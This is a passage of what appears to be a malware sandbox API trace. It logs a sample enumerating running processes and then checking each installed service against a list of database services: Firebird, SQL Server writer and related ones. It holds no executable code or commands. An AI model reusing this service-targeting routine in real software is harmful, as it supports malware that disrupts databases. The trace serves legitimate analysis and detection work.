th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.256] lstrlenW (lpString="svchost.exe") returned 11 [0214.256] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.581] lstrlenW (lpString="dwm.exe") returned 7 [0214.581] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.581] lstrlenW (lpString="svchost.exe") returned 11 [0214.582] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.582] lstrlenW (lpString="svchost.exe") returned 11 [0214.582] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.582] lstrlenW (lpString="svchost.exe") returned 11 [0214.582] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.583] lstrlenW (lpString="svchost.exe") returned 11 [0214.583] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.583] lstrlenW (lpString="svchost.exe") returned 11 [0214.583] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.584] lstrlenW (lpString="svchost.exe") returned 11 [0214.584] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.584] lstrlenW (lpString="svchost.exe") returned 11 [0214.584] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.585] lstrlenW (lpString="svchost.exe") returned 11 [0214.585] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.585] lstrlenW (lpString="svchost.exe") returned 11 [0214.585] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.586] lstrlenW (lpString="svchost.exe") returned 11 [0214.586] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.586] lstrlenW (lpString="spoolsv.exe") returned 11 [0214.586] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.586] lstrlenW (lpString="svchost.exe") returned 11 [0214.586] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.587] lstrlenW (lpString="audiodg.exe") returned 11 [0214.587] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0214.587] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0214.587] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0214.588] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0214.588] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0214.588] lstrlenW (lpString="Memory Compression") returned 18 [0214.588] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0214.589] lstrlenW (lpString="sihost.exe") returned 10 [0214.589] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.589] lstrlenW (lpString="svchost.exe") returned 11 [0214.589] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0214.590] lstrlenW (lpString="taskhostw.exe") returned 13 [0214.590] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0214.590] lstrlenW (lpString="msoia.exe") returned 9 [0214.590] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.590] lstrlenW (lpString="explorer.exe") returned 12 [0214.591] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0214.591] lstrlenW (lpString="SearchUI.exe") returned 12 [0214.591] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0214.591] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0214.591] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0214.592] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0214.592] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.592] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0214.592] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0214.593] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0214.593] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0214.593] lstrlenW (lpString="dllhost.exe") returned 11 [0214.593] Process32NextW (in: hSnapshot=0x554, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0214.594] CloseHandle (hObject=0x554) returned 1 [0214.594] Sleep (dwMilliseconds=0x1f4) [0215.567] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b1c0 [0215.591] EnumServicesStatusExW (in: hSCManager=0x447b1c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0215.591] GetLastError () returned 0xea [0215.591] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x456b180 [0215.592] EnumServicesStatusExW (in: hSCManager=0x447b1c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0215.593] CloseServiceHandle (hSCObject=0x447b1c0) returned 1 [0215.593] lstrlenW (lpString="Appinfo") returned 7 [0215.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0215.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0215.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0215.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0215.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0215.593] lstrlenW (lpString="AppXSvc") returned 7 [0215.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0215.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0215.593] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0215.593] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0215.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0215.593] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0215.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0215.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0215.593] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0215.593] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0215.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0215.593] lstrlenW (lpString="Audiosrv") returned 8 [0215.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0215.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0215.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0215.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0215.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0215.594] lstrlenW (lpString="BFE") returned 3 [0215.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0215.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0215.594] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0215.594] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0215.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0215.594] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0215.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0215.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0215.594] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0215.594] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0215.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0215.594] lstrlenW (lpString="CDPSvc") returned 6 [0215.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0215.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0215.594] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0215.594] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0215.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0215.594] lstrlenW (lpString="ClickToRunSvc") returned 13 [0215.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0215.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0215.594] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0215.594] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0215.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0215.594] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0215.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0215.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0215.594] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0215.594] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0215.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0215.595] lstrlenW (lpString="CryptSvc") returned 8 [0215.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0215.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0215.595] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0215.595] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0215.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0215.595] lstrlenW (lpString="DcomLaunch") returned 10 [0215.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0215.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0215.595] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0215.595] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0215.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0215.595] lstrlenW (lpString="DeviceAssociationService") returned 24 [0215.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0215.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0215.595] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0215.595] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0215.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0215.595] lstrlenW (lpString="Dhcp") returned 4 [0215.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0215.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0215.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0215.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0215.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0215.595] lstrlenW (lpString="Dnscache") returned 8 [0215.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0215.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0215.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0215.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0215.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0215.595] lstrlenW (lpString="DPS") returned 3 [0215.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0215.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0215.596] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0215.596] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0215.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0215.596] lstrlenW (lpString="DusmSvc") returned 7 [0215.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0215.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0215.596] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0215.596] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0215.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0215.596] lstrlenW (lpString="EventLog") returned 8 [0215.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0215.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0215.596] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0215.596] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0215.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0215.596] lstrlenW (lpString="EventSystem") returned 11 [0215.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0215.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0215.596] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0215.596] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0215.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0215.596] lstrlenW (lpString="FontCache") returned 9 [0215.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0215.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0215.596] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0215.596] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0215.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0215.596] lstrlenW (lpString="gpsvc") returned 5 [0215.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0215.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0215.596] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0215.596] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0215.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0215.596] lstrlenW (lpString="iphlpsvc") returned 8 [0215.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0215.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0215.597] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0215.597] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0215.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0215.597] lstrlenW (lpString="KeyIso") returned 6 [0215.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0215.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0215.597] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0215.597] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0215.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0215.597] lstrlenW (lpString="LanmanServer") returned 12 [0215.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0215.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0215.597] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0215.597] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0215.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0215.597] lstrlenW (lpString="LanmanWorkstation") returned 17 [0215.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0215.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0215.597] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0215.597] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0215.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0215.597] lstrlenW (lpString="lfsvc") returned 5 [0215.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0215.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0215.597] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0215.597] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0215.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0215.597] lstrlenW (lpString="lmhosts") returned 7 [0215.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0215.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0215.597] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0215.598] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0215.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0215.598] lstrlenW (lpString="LSM") returned 3 [0215.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0215.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0215.598] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0215.598] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0215.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0215.598] lstrlenW (lpString="MpsSvc") returned 6 [0215.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0215.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0215.598] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0215.598] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0215.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0215.598] lstrlenW (lpString="NcbService") returned 10 [0215.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0215.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0215.598] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0215.598] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0215.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0215.598] lstrlenW (lpString="netprofm") returned 8 [0215.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0215.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0215.598] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0215.598] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0215.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0215.598] lstrlenW (lpString="NgcSvc") returned 